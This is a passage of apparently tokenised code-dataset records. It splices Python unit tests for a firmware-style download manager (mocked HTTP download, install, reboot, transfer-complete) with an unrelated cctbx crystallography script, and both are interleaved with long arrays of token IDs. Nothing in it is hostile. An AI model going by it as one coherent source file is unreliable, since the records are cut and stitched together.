1: Not Yet Started # Step 1: Wait delay_seconds dl.do_start() self.assertEqual(ioloop.timeout, _Delta(kwargs['delay_seconds'])) self.assertEqual(self.QCheckBoring(dl, kwargs), 1) # 1: Not Yet Started # Step 2: HTTP Download dl.timer_callback() self.assertEqual(len(mock_http_downloads), 1) http = mock_http_downloads[0] self.assertEqual(http.url, kwargs['url']) self.assertEqual(http.username, kwargs['username']) self.assertEqual(http.password, kwargs['password']) self.assertTrue(http.download_complete_cb) self.assertTrue(http.did_fetch) self.assertEqual(self.QCheckBoring(dl, kwargs), 2) # 2: In process # Step 3: Install dlfile = MockFile('/path/to/downloaded/file') http.download_complete_cb(0, '', dlfile) self.assertEqual(len(mock_installers), 1) inst = mock_installers[0] self.assertTrue(inst.did_install) self.assertEqual(inst.file_type, kwargs['file_type']) self.assertEqual(inst.target_filename, kwargs['target_filename']) self.assertEqual(inst.filename, dlfile.name) self.assertFalse(inst.did_reboot) self.assertEqual(self.QCheckBoring(dl, kwargs), 2) # 2: In process # Step 4: Reboot inst.install_callback(0, '', must_reboot=True) self.assertTrue(inst.did_reboot) self.assertEqual(self.QCheckBoring(dl, kwargs), 2) # 2: In process # Step 5: Send Transfer Complete dl.reboot_callback(0, '') self.assertTrue(cmpl.transfer_complete_called) self.assertEqual(cmpl.command_key, kwargs['command_key']) self.assertEqual(cmpl.faultcode, 0) self.assertEqual(cmpl.faultstring, '') self.assertEqual(cmpl.starttime, self.mockTime()) self.assertEqual(cmpl.endtime, self.mockTime()) self.assertEqual(cmpl.event_code, 'M Download') self.assertEqual(self.QCheckBoring(dl, kwargs), 3) # 3: Cleaning up # Step 6: Wait for Transfer Complete Response self.assertFalse(dl.cleanup()) self.assertEqual(self.QCheckBoring(dl, kwargs), 3) # 3: Cleaning up def testDownloadFailed(self): ioloop = MockIoloop() cmpl = MockTransferComplete() time.time = self.mockTime kwargs = dict(command_key='testCommandKey', url='http://example.com/foo', delay_seconds=1) stateobj = persistobj.PersistentObject(objdir=self.tmpdir, rootname='testObj', filename=None, **kwargs) dl = download.Download(stateobj=stateobj, transfer_complete_cb=cmpl.SendTransferComplete, ioloop=ioloop) # Step 1: Wait delay_seconds dl.do_start() self.assertEqual(ioloop.timeout, _Delta(kwargs['delay_seconds'])) # Step 2: HTTP Download dl.timer_callback() self.assertEqual(len(mock_http_downloads), 1) http = mock_http_downloads[0] self.assertEqual(http.url, kwargs['url']) # Step 3: Download fails http.download_complete_cb(100, 'TestDownloadError', None) self.assertEqual(len(mock_installers), 0) self.assertTrue(cmpl.transfer_complete_called) self.assertEqual(cmpl.command_key, kwargs['command_key']) self.assertEqual(cmpl.faultcode, 100) self.assertEqual(cmpl.faultstring, 'TestDownloadError') self.assertEqual(cmpl.starttime, 0.0) self.assertEqual(cmpl.endtime, 0.0) self.assertEqual(cmpl.event_code, 'M Download') def testInstallFailed(self): ioloop = MockIoloop() cmpl = MockTransferComplete() time.time = self.mockTime kwargs = dict(command_key='testCommandKey', url='http://example.com/foo', delay_seconds=1) stateobj = persistobj.PersistentObject(objdir=self.tmpdir, rootname='testObj', filename=None, **kwargs) dl = download.Download(stateobj=stateobj, transfer_complete_cb=cmpl.SendTransferComplete, ioloop=ioloop) # Step 1: Wait delay_seconds dl.do_start() self.assertEqual(ioloop.timeout, _Delta(kwargs['delay_seconds'])) # Step 2: HTTP Download dl.timer_callback() self.assertEqual(len(mock_http_downloads), 1) http = mock_http_downloads[0] self.assertEqual(http.url, kwargs['url']) # Step 3: Install dlfile = MockFile('/path/to/downloaded/file') http.download_complete_cb(0, '', dlfile) self.assertEqual(len(mock_installers), 1) inst = mock_installers[0] self.assertTrue(inst.did_install) self.assertEqual(inst.filename, dlfile.name) self.assertFalse(inst.did_reboot) # Step 4: Install Failed inst.install_callback(101, 'TestInstallError', must_reboot=False) self.assertTrue(cmpl.transfer_complete_called) self.assertEqual(cmpl.command_key, kwargs['command_key']) self.assertEqual(cmpl.faultcode, 101) self.assertEqual(cmpl.faultstring, 'TestInstallError') self.assertEqual(cmpl.starttime, 0.0) self.assertEqual(cmpl.endtime, 0.0) self.assertEqual(cmpl.event_code, 'M Download') def testInstallNoReboot(self): ioloop = MockIoloop() cmpl = MockTransferComplete() time.time = self.mockTime kwargs = dict(command_key='testCommandKey', url='http://example.com/foo', delay_seconds=1) stateobj = persistobj.PersistentObject(objdir=self.tmpdir, rootname='testObj', filename=None, **kwargs) dl = download.Download(stateobj=stateobj, transfer_complete_cb=cmpl.SendTransferComplete, ioloop=ioloop) # Step 1: Wait delay_seconds dl.do_start() self.assertEqual(ioloop.timeout, _Delta(kwargs['delay_seconds'])) # Step 2: HTTP Download dl.timer_callback() self.assertEqual(len(mock_http_downloads), 1) http = mock_http_downloads[0] self.assertEqual(http.url, kwargs['url']) # Step 3: Install dlfile = MockFile('/path/to/downloaded/file') http.download_complete_cb(0, '', dlfile) self.assertEqual(len(mock_installers), 1) inst = mock_installers[0] self.assertTrue(inst.did_install) self.assertEqual(inst.filename, dlfile.name) self.assertFalse(inst.did_reboot) # Step 4: Install Succeeded, no reboot inst.install_callback(0, '', must_reboot=False) self.assertTrue(cmpl.transfer_complete_called) self.assertEqual(cmpl.command_key, kwargs['command_key']) self.assertEqual(cmpl.faultcode, 0) self.assertEqual(cmpl.faultstring, '') self.assertEqual(cmpl.starttime, self.mockTime()) self.assertEqual(cmpl.endtime, self.mockTime()) self.assertEqual(cmpl.event_code, 'M Download') def testCancelRefused(self): ioloop = MockIoloop() cmpl = MockTransferComplete() kwargs = dict(command_key='testCommandKey', url='http://example.com/foo') stateobj = persistobj.PersistentObject(objdir=self.tmpdir, rootname='testObj', filename=None, **kwargs) dl = download.Download(stateobj=stateobj, transfer_complete_cb=cmpl.SendTransferComplete, ioloop=ioloop) dl.do_start() # Step 1: Wait delay_seconds dl.timer_callback() # Step 2: HTTP Download dl.download_complete_callback(0, None, None) # Step 3: Install self.assertTrue(dl.cleanup()) dl.installer_callback(0, None, must_reboot=True) # Step 4: Reboot self.assertTrue(dl.cleanup()) dl.reboot_callback(0, '') # Step 5: Rebooted self.assertFalse(dl.cleanup()) def testCommandKey(self): kwargs = dict(command_key='testCommandKey') stateobj = persistobj.PersistentObject(objdir=self.tmpdir, rootname='testObj', filename=None, **kwargs) dl = download.Download(stateobj=stateobj, transfer_complete_cb=None) self.assertEqual(dl.CommandKey(), kwargs['command_key']) kwargs = dict() stateobj = persistobj.PersistentObject(objdir=self.tmpdir, rootname='testObj', filename=None, **kwargs) dl = download.Download(stateobj=stateobj, transfer_complete_cb=None) self.assertEqual(dl.CommandKey(), None) class MockDownloadObj(object): def __init__(self, stateobj, transfer_complete_cb, done_cb=None, download_dir=None, ioloop=None): self.stateobj = stateobj self.transfer_complete_cb = transfer_complete_cb self.done_cb = done_cb self.download_dir = download_dir self.ioloop = ioloop self.do_start_called = False self.immediate_complete_called = False self.faultcode = None self.faultstring = None self.reboot_callback_called = False mock_downloads.append(self) def do_start(self): self.do_start_called = True def do_immediate_complete(self, faultcode, faultstring): self.immediate_complete_called = True self.faultcode = faultcode self.faultstring = faultstring def reboot_callback(self, faultcode, faultstring): self.reboot_callback_called = True def get_queue_state(self): return 'This_is_not_a_real_queue_state.' class DownloadManagerTest(unittest.TestCase): def setUp(self): self.old_DOWNLOADOBJ = download.DOWNLOADOBJ download.DOWNLOADOBJ = MockDownloadObj self.tmpdir = tempfile.mkdtemp() del mock_downloads[:] def tearDown(self): download.DOWNLOADOBJ = self.old_DOWNLOADOBJ shutil.rmtree(self.tmpdir) del mock_downloads[:] def allocTestDM(self): dm = download.DownloadManager() dm.SetDirectories(self.tmpdir, self.tmpdir) cmpl = MockTransferComplete() dm.send_transfer_complete = cmpl.SendTransferComplete return (dm, cmpl) def testSimpleDownload(self): (dm, _) = self.allocTestDM() args = {'command_key': 'TestCommandKey', 'file_type': 'TestFileType', 'url': 'http://example.com/', 'username': 'TestUser', 'password': 'TestPassword', 'file_size': 99, 'target_filename': 'TestFilename', 'delay_seconds': 30} (code, start, end) = dm.NewDownload(**args) self.assertEqual(code, 1) self.assertEqual(start, 0.0) self.assertEqual(end, 0.0) self.assertEqual(len(mock_downloads), 1) dl = mock_downloads[0] self.assertEqual(dl.stateobj.command_key, args['command_key']) self.assertEqual(dl.stateobj.file_type, args['file_type']) self.assertEqual(dl.stateobj.url, args['url']) self.assertEqual(dl.stateobj.username, args['username']) self.assertEqual(dl.stateobj.password, args['password']) self.assertEqual(dl.stateobj.file_size, args['file_size']) self.assertEqual(dl.stateobj.target_filename, args['target_filename']) self.assertEqual(dl.stateobj.delay_seconds, args['delay_seconds']) def testReadonlyConfigDir(self): (dm, _) = self.allocTestDM() dm.SetDirectories(config_dir='/user/nonexist', download_dir=self.tmpdir) args = {'command_key': 'TestCommandKey', 'file_type': 'TestFileType', 'url': 'http://example.com/', 'username': 'TestUser', 'password': 'TestPassword', 'file_size': 99, 'target_filename': 'TestFilename', 'delay_seconds': 30} (code, start, end) = dm.NewDownload(**args) self.assertEqual(code, 1) self.assertEqual(start, 0.0) self.assertEqual(end, 0.0) self.assertEqual(len(mock_downloads), 1) dl = mock_downloads[0] self.assertEqual(dl.stateobj.command_key, args['command_key']) self.assertEqual(dl.stateobj.file_type, args['file_type']) self.assertEqual(dl.stateobj.url, args['url']) self.assertEqual(dl.stateobj.username, args['username']) self.assertEqual(dl.stateobj.password, args['password']) self.assertEqual(dl.stateobj.file_size, args['file_size']) self.assertEqual(dl.stateobj.target_filename, args['target_filename']) self.assertEqual(dl.stateobj.delay_seconds, args['delay_seconds']) def testMaxDownloads(self): (dm, _) = self.allocTestDM() maxdl = download.DownloadManager.MAXDOWNLOADS for i in range(maxdl): args = {'command_key': 'TestCommandKey' + str(i), 'url': 'http://example.com/'} (code, start, end) = dm.NewDownload(**args) self.assertEqual(code, 1) self.assertEqual(start, 0.0) self.assertEqual(end, 0.0) self.assertEqual(len(mock_downloads), maxdl) self.assertRaises(core.ResourcesExceededError, dm.NewDownload, **args) def testBadUrlScheme(self): (dm, _) = self.allocTestDM() args = {'command_key': 'TestCommandKey', 'url': 'invalid://bad.url/'} self.assertRaises(core.FileTransferProtocolError, dm.NewDownload, **args) def testRestoreMultiple(self): (dm, _) = self.allocTestDM() numdl = 4 for i in range(numdl): args = {'command_key': 'TestCommandKey' + str(i), 'file_type': 'TestFileType', 'url': 'http://example.com/', 'username': 'TestUser', 'password': 'TestPassword', 'file_size': 99, 'target_filename': 'TestFilename', 'delay_seconds': 30} persistobj.PersistentObject(objdir=dm.config_dir, rootname=download.DNLDROOTNAME, filename=None, **args) dm.RestoreDownloads() self.assertEqual(len(mock_downloads), numdl) for i in range(numdl): dl = mock_downloads[i] self.assertFalse(dl.do_start_called) self.assertFalse(dl.immediate_complete_called) self.assertTrue(dl.reboot_callback_called) def testRestoreNoCommandKey(self): (dm, _) = self.allocTestDM() args = {'delay_seconds': 30} persistobj.PersistentObject(objdir=dm.config_dir, rootname=download.DNLDROOTNAME, filename=None, **args) dm.RestoreDownloads() self.assertEqual(len(mock_downloads), 0) def testRestoreReboots(self): (dm, _) = self.allocTestDM() expected = set() numrb = 3 for i in range(numrb): key = u'TestCommandKey' + str(i) args = {'command_key': key} persistobj.PersistentObject(objdir=dm.config_dir, rootname=download.BOOTROOTNAME, filename=None, **args) expected.add(('M Reboot', key)) # Plus an invalid object args = {'foo': 'bar'} persistobj.PersistentObject(objdir=dm.config_dir, rootname=download.BOOTROOTNAME, filename=None, **args) reboots = set(dm.RestoreReboots()) self.assertEqual(reboots, expected) def testGetAllQueuedTransfers(self): (dm, _) = self.allocTestDM() numdl = 1 for i in range(numdl): args = {'command_key': 'TestCommandKey' + str(i), 'file_type': 'TestFileType', 'url': 'http://example.com/', 'username': 'TestUser', 'password': 'TestPassword', 'file_size': 99, 'target_filename': 'TestFilename', 'delay_seconds': 30} dm.NewDownload(**args) transfers = dm.GetAllQueuedTransfers() self.assertEqual(len(transfers), numdl) if __name__ == '__main__': unittest.main()
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1898, 7760, 4475, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 3, 2882, 5074, 1083, 1561, 6617, 315, 283, 396, 7, 199, 3, 26324, 26, 3507, 13, 1328, 29, 35, 772, 1643, 199, 199, 624, 5072, 2295, 367, 5235, 14, 647, 1041, 199, 199, 363, 2502, 363, 275, 283, 68, 2268, 893, 32, 3098, 14, 957, 334, 36, 484, 265, 598, 2373, 3171, 199, 199, 646, 2197, 199, 646, 5145, 199, 646, 5549, 199, 646, 900, 199, 646, 2882, 199, 199, 646, 6233, 19, 199, 646, 6170, 199, 646, 5235, 199, 646, 22400, 1113, 421, 199, 1805, 63, 1014, 63, 14555, 275, 942, 199, 1805, 63, 1014, 63, 20373, 275, 942, 199, 1805, 63, 17047, 83, 275, 942, 199, 1805, 63, 20373, 275, 942, 421, 199, 533, 4420, 5779, 3041, 8, 785, 304, 523, 347, 636, 826, 721, 277, 12, 5890, 63, 3813, 29, 403, 304, 272, 291, 14, 14887, 63, 3535, 275, 756, 272, 291, 14, 1069, 275, 488, 272, 291, 14, 3058, 275, 488, 272, 1683, 63, 1014, 63, 14555, 14, 740, 8, 277, 9, 819, 347, 5267, 8, 277, 12, 1056, 12, 3233, 304, 272, 291, 14, 14887, 63, 3535, 275, 715, 272, 291, 14, 1069, 275, 1056, 272, 291, 14, 3058, 275, 3233, 421, 199, 533, 4420, 16512, 3813, 8, 785, 304, 523, 347, 636, 826, 721, 277, 304, 272, 291, 14, 2593, 275, 488, 272, 291, 14, 3058, 275, 488, 819, 347, 1050, 63, 2593, 8, 277, 12, 2653, 12, 3233, 12, 3485, 18692, 29, 403, 304, 272, 291, 14, 2593, 275, 2653, 272, 291, 14, 3058, 275, 3233, 421, 199, 533, 4420, 5779, 11950, 8, 785, 304, 523, 347, 636, 826, 721, 277, 12, 1166, 12, 3434, 29, 403, 12, 2505, 29, 403, 12, 2049, 5235, 63, 4883, 63, 2894, 29, 403, 12, 5235, 63, 694, 29, 403, 12, 5890, 3813, 29, 403, 304, 272, 291, 14, 633, 275, 1166, 272, 291, 14, 2473, 275, 3434, 272, 291, 14, 2060, 275, 2505, 272, 291, 14, 4249, 63, 4883, 63, 2894, 275, 5235, 63, 4883, 63, 2894, 272, 291, 14, 4249, 63, 694, 275, 5235, 63, 694, 272, 291, 14, 27212, 275, 5890, 3813, 272, 291, 14, 14887, 63, 3535, 275, 756, 272, 1683, 63, 1014, 63, 20373, 14, 740, 8, 277, 9, 819, 347, 5267, 8, 277, 304, 272, 291, 14, 14887, 63, 3535, 275, 715, 421, 199, 533, 4420, 27598, 8, 785, 304, 523, 347, 636, 826, 721, 277, 12, 1788, 304, 272, 291, 14, 1501, 275, 1788, 272, 291, 14, 14887, 63, 3174, 275, 756, 272, 291, 14, 14887, 63, 15051, 275, 756, 272, 291, 14, 493, 63, 466, 275, 488, 272, 291, 14, 84, 4430, 63, 1501, 275, 488, 272, 291, 14, 3174, 63, 3058, 275, 488, 272, 1683, 63, 17047, 83, 14, 740, 8, 277, 9, 819, 347, 3907, 8, 277, 12, 570, 63, 466, 12, 1347, 63, 1501, 12, 3233, 304, 272, 291, 14, 14887, 63, 3174, 275, 715, 272, 291, 14, 493, 63, 466, 275, 570, 63, 466, 272, 291, 14, 1375, 63, 1501, 275, 1347, 63, 1501, 272, 291, 14, 3174, 63, 3058, 275, 3233, 272, 372, 715, 819, 347, 19457, 8, 277, 304, 272, 291, 14, 14887, 63, 15051, 275, 715, 421, 199, 533, 4420, 11761, 14175, 8, 785, 304, 523, 347, 636, 826, 721, 277, 304, 272, 291, 14, 9609, 63, 4883, 63, 3527, 275, 756, 272, 291, 14, 5030, 275, 488, 272, 291, 14, 1531, 63, 498, 275, 488, 272, 291, 14, 1879, 600, 275, 488, 272, 291, 14, 1879, 875, 275, 488, 272, 291, 14, 32183, 275, 488, 272, 291, 14, 500, 521, 275, 488, 819, 347, 10217, 11761, 14175, 8, 277, 12, 15396, 12, 1414, 63, 498, 12, 16898, 600, 12, 16898, 875, 12, 2574, 1343, 521, 12, 1284, 521, 12, 1566, 63, 600, 304, 272, 291, 14, 9609, 63, 4883, 63, 3527, 275, 715, 272, 291, 14, 5030, 275, 15396, 272, 291, 14, 1531, 63, 498, 275, 1414, 63, 498, 272, 291, 14, 1879, 600, 275, 16898, 600, 272, 291, 14, 1879, 875, 275, 16898, 875, 272, 291, 14, 32183, 275, 1343, 521, 272, 291, 14, 500, 521, 275, 1284, 521, 272, 291, 14, 1430, 63, 600, 275, 1566, 63, 600, 421, 199, 533, 4420, 1173, 8, 785, 304, 523, 347, 636, 826, 721, 277, 12, 536, 304, 272, 291, 14, 354, 275, 536, 421, 199, 318, 485, 13411, 8, 84, 304, 523, 372, 2197, 14, 7473, 8, 4515, 29, 84, 9, 421, 199, 533, 17955, 774, 8, 2796, 14, 1746, 304, 523, 347, 3613, 8, 277, 304, 272, 291, 14, 8616, 275, 5549, 14, 11983, 342, 272, 5235, 14, 16811, 540, 275, 4420, 27598, 272, 291, 14, 4456, 63, 1531, 63, 498, 275, 488, 272, 291, 14, 1753, 63, 521, 275, 900, 14, 521, 272, 2150, 1683, 63, 17047, 83, 5873, 272, 2150, 1683, 63, 1014, 63, 20373, 5873, 272, 5235, 14, 24930, 63, 9901, 459, 1014, 418, 275, 4420, 5779, 11950, 272, 5235, 14, 24930, 63, 9901, 459, 2859, 418, 275, 4420, 5779, 11950, 819, 347, 6766, 8, 277, 304, 272, 900, 14, 521, 275, 291, 14, 1753, 63, 521, 272, 5145, 14, 9242, 8, 277, 14, 8616, 9, 272, 2150, 1683, 63, 17047, 83, 5873, 272, 2150, 1683, 63, 1014, 63, 14555, 5873, 819, 347, 1683, 1366, 8, 277, 304, 272, 372, 14763, 1367 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1898, 7760, 4475, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 3, 2882, 5074, 1083, 1561, 6617, 315, 283, 396, 7, 199, 3, 26324, 26, 3507, 13, 1328, 29, 35, 772, 1643, 199, 199, 624, 5072, 2295, 367, 5235, 14, 647, 1041, 199, 199, 363, 2502, 363, 275, 283, 68, 2268, 893, 32, 3098, 14, 957, 334, 36, 484, 265, 598, 2373, 3171, 199, 199, 646, 2197, 199, 646, 5145, 199, 646, 5549, 199, 646, 900, 199, 646, 2882, 199, 199, 646, 6233, 19, 199, 646, 6170, 199, 646, 5235, 199, 646, 22400, 1113, 421, 199, 1805, 63, 1014, 63, 14555, 275, 942, 199, 1805, 63, 1014, 63, 20373, 275, 942, 199, 1805, 63, 17047, 83, 275, 942, 199, 1805, 63, 20373, 275, 942, 421, 199, 533, 4420, 5779, 3041, 8, 785, 304, 523, 347, 636, 826, 721, 277, 12, 5890, 63, 3813, 29, 403, 304, 272, 291, 14, 14887, 63, 3535, 275, 756, 272, 291, 14, 1069, 275, 488, 272, 291, 14, 3058, 275, 488, 272, 1683, 63, 1014, 63, 14555, 14, 740, 8, 277, 9, 819, 347, 5267, 8, 277, 12, 1056, 12, 3233, 304, 272, 291, 14, 14887, 63, 3535, 275, 715, 272, 291, 14, 1069, 275, 1056, 272, 291, 14, 3058, 275, 3233, 421, 199, 533, 4420, 16512, 3813, 8, 785, 304, 523, 347, 636, 826, 721, 277, 304, 272, 291, 14, 2593, 275, 488, 272, 291, 14, 3058, 275, 488, 819, 347, 1050, 63, 2593, 8, 277, 12, 2653, 12, 3233, 12, 3485, 18692, 29, 403, 304, 272, 291, 14, 2593, 275, 2653, 272, 291, 14, 3058, 275, 3233, 421, 199, 533, 4420, 5779, 11950, 8, 785, 304, 523, 347, 636, 826, 721, 277, 12, 1166, 12, 3434, 29, 403, 12, 2505, 29, 403, 12, 2049, 5235, 63, 4883, 63, 2894, 29, 403, 12, 5235, 63, 694, 29, 403, 12, 5890, 3813, 29, 403, 304, 272, 291, 14, 633, 275, 1166, 272, 291, 14, 2473, 275, 3434, 272, 291, 14, 2060, 275, 2505, 272, 291, 14, 4249, 63, 4883, 63, 2894, 275, 5235, 63, 4883, 63, 2894, 272, 291, 14, 4249, 63, 694, 275, 5235, 63, 694, 272, 291, 14, 27212, 275, 5890, 3813, 272, 291, 14, 14887, 63, 3535, 275, 756, 272, 1683, 63, 1014, 63, 20373, 14, 740, 8, 277, 9, 819, 347, 5267, 8, 277, 304, 272, 291, 14, 14887, 63, 3535, 275, 715, 421, 199, 533, 4420, 27598, 8, 785, 304, 523, 347, 636, 826, 721, 277, 12, 1788, 304, 272, 291, 14, 1501, 275, 1788, 272, 291, 14, 14887, 63, 3174, 275, 756, 272, 291, 14, 14887, 63, 15051, 275, 756, 272, 291, 14, 493, 63, 466, 275, 488, 272, 291, 14, 84, 4430, 63, 1501, 275, 488, 272, 291, 14, 3174, 63, 3058, 275, 488, 272, 1683, 63, 17047, 83, 14, 740, 8, 277, 9, 819, 347, 3907, 8, 277, 12, 570, 63, 466, 12, 1347, 63, 1501, 12, 3233, 304, 272, 291, 14, 14887, 63, 3174, 275, 715, 272, 291, 14, 493, 63, 466, 275, 570, 63, 466, 272, 291, 14, 1375, 63, 1501, 275, 1347, 63, 1501, 272, 291, 14, 3174, 63, 3058, 275, 3233, 272, 372, 715, 819, 347, 19457, 8, 277, 304, 272, 291, 14, 14887, 63, 15051, 275, 715, 421, 199, 533, 4420, 11761, 14175, 8, 785, 304, 523, 347, 636, 826, 721, 277, 304, 272, 291, 14, 9609, 63, 4883, 63, 3527, 275, 756, 272, 291, 14, 5030, 275, 488, 272, 291, 14, 1531, 63, 498, 275, 488, 272, 291, 14, 1879, 600, 275, 488, 272, 291, 14, 1879, 875, 275, 488, 272, 291, 14, 32183, 275, 488, 272, 291, 14, 500, 521, 275, 488, 819, 347, 10217, 11761, 14175, 8, 277, 12, 15396, 12, 1414, 63, 498, 12, 16898, 600, 12, 16898, 875, 12, 2574, 1343, 521, 12, 1284, 521, 12, 1566, 63, 600, 304, 272, 291, 14, 9609, 63, 4883, 63, 3527, 275, 715, 272, 291, 14, 5030, 275, 15396, 272, 291, 14, 1531, 63, 498, 275, 1414, 63, 498, 272, 291, 14, 1879, 600, 275, 16898, 600, 272, 291, 14, 1879, 875, 275, 16898, 875, 272, 291, 14, 32183, 275, 1343, 521, 272, 291, 14, 500, 521, 275, 1284, 521, 272, 291, 14, 1430, 63, 600, 275, 1566, 63, 600, 421, 199, 533, 4420, 1173, 8, 785, 304, 523, 347, 636, 826, 721, 277, 12, 536, 304, 272, 291, 14, 354, 275, 536, 421, 199, 318, 485, 13411, 8, 84, 304, 523, 372, 2197, 14, 7473, 8, 4515, 29, 84, 9, 421, 199, 533, 17955, 774, 8, 2796, 14, 1746, 304, 523, 347, 3613, 8, 277, 304, 272, 291, 14, 8616, 275, 5549, 14, 11983, 342, 272, 5235, 14, 16811, 540, 275, 4420, 27598, 272, 291, 14, 4456, 63, 1531, 63, 498, 275, 488, 272, 291, 14, 1753, 63, 521, 275, 900, 14, 521, 272, 2150, 1683, 63, 17047, 83, 5873, 272, 2150, 1683, 63, 1014, 63, 20373, 5873, 272, 5235, 14, 24930, 63, 9901, 459, 1014, 418, 275, 4420, 5779, 11950, 272, 5235, 14, 24930, 63, 9901, 459, 2859, 418, 275, 4420, 5779, 11950, 819, 347, 6766, 8, 277, 304, 272, 900, 14, 521, 275, 291, 14, 1753, 63, 521, 272, 5145, 14, 9242, 8, 277, 14, 8616, 9, 272, 2150, 1683, 63, 17047, 83, 5873, 272, 2150, 1683, 63, 1014, 63, 14555, 5873, 819, 347, 1683, 1366, 8, 277, 304, 272, 372, 14763, 1367, 0 ]
[ 1, 1, 1, 1, 1, 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cctbx_progs/dano_vs_d.py
1
1364
""" Usage: phenix.python dano_vs_d.py your.sca 20 """ import iotbx.file_reader from cctbx.array_family import flex def run(hklin, n_bins): for array in iotbx.file_reader.any_file(hklin).file_server.miller_arrays: # skip if not anomalous intensity data if not (array.is_xray_intensity_array() and array.anomalous_flag()): print "skipping", array.info() continue # We assume that data is already merged assert array.is_unique_set_under_symmetry() # take anomalous differences dano = array.anomalous_differences() # process with binning dano.setup_binner(n_bins=n_bins) binner = dano.binner() print "Array:", array.info() print " dmax dmin nrefs dano" for i_bin in binner.range_used(): # selection for this bin. sel is flex.bool object (list of True of False) sel = binner.selection(i_bin) # take mean of absolute value of anomalous differences in a bin bin_mean = flex.mean(flex.abs(dano.select(sel).data())) d_max, d_min = binner.bin_d_range(i_bin) print "%7.2f %7.2f %6d %.2f" % (d_max, d_min, binner.count(i_bin), bin_mean) # run() if __name__ == "__main__": import sys hklin = sys.argv[1] n_bins = int(sys.argv[2]) run(hklin, n_bins)
bsd-3-clause
[ 624, 199, 7692, 26, 199, 3945, 287, 1148, 14, 1548, 366, 8143, 63, 3122, 63, 68, 14, 647, 2195, 14, 7101, 3388, 199, 624, 199, 199, 646, 284, 357, 13691, 14, 493, 63, 5503, 199, 504, 286, 319, 13691, 14, 1144, 63, 6606, 492, 20758, 199, 199, 318, 1255, 8, 21557, 472, 12, 302, 63, 11329, 304, 272, 367, 1625, 315, 284, 357, 13691, 14, 493, 63, 5503, 14, 1629, 63, 493, 8, 21557, 472, 680, 493, 63, 1000, 14, 77, 19576, 63, 10095, 26, 267, 327, 3372, 340, 440, 376, 676, 279, 1785, 28873, 666, 267, 340, 440, 334, 1144, 14, 374, 63, 88, 803, 63, 27203, 63, 1144, 342, 436, 1625, 14, 290, 676, 279, 1785, 63, 4173, 5109, 288, 870, 298, 27713, 401, 1625, 14, 815, 342, 288, 1980, 398, 327, 2136, 5534, 626, 666, 365, 2575, 9545, 267, 702, 1625, 14, 374, 63, 3235, 63, 409, 63, 7138, 63, 3840, 10987, 342, 398, 327, 5452, 376, 676, 279, 1785, 15109, 267, 366, 8143, 275, 1625, 14, 290, 676, 279, 1785, 63, 6870, 10056, 342, 398, 327, 2112, 543, 2517, 1835, 267, 366, 8143, 14, 2758, 63, 1393, 1372, 8, 78, 63, 11329, 29, 78, 63, 11329, 9, 267, 2517, 1372, 275, 366, 8143, 14, 1393, 1372, 342, 398, 870, 298, 3836, 6783, 1625, 14, 815, 342, 267, 870, 298, 257, 366, 988, 259, 366, 827, 221, 302, 7655, 221, 366, 8143, 2, 267, 367, 284, 63, 1393, 315, 2517, 1372, 14, 1842, 63, 2972, 837, 288, 327, 7267, 367, 642, 2517, 14, 13680, 365, 20758, 14, 2245, 909, 334, 513, 402, 715, 402, 756, 9, 288, 13680, 275, 2517, 1372, 14, 5592, 8, 73, 63, 1393, 9, 953, 327, 5452, 4615, 402, 3679, 574, 402, 376, 676, 279, 1785, 15109, 315, 282, 2517, 288, 2517, 63, 3670, 275, 20758, 14, 3670, 8, 14759, 14, 2101, 8, 68, 8143, 14, 2416, 8, 5891, 680, 576, 4059, 288, 366, 63, 988, 12, 366, 63, 827, 275, 2517, 1372, 14, 1393, 63, 68, 63, 1842, 8, 73, 63, 1393, 9, 288, 870, 2071, 23, 14, 18, 70, 450, 23, 14, 18, 70, 450, 22, 68, 10536, 18, 70, 2, 450, 334, 68, 63, 988, 12, 366, 63, 827, 12, 2517, 1372, 14, 835, 8, 73, 63, 1393, 395, 2517, 63, 3670, 9, 199, 3, 1255, 342, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 492, 984, 272, 394, 75, 472, 275, 984, 14, 3020, 59, 17, 61, 272, 302, 63, 11329, 275, 1109, 8, 1274, 14, 3020, 59, 18, 566, 272, 1255, 8, 21557, 472, 12, 302, 63, 11329, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 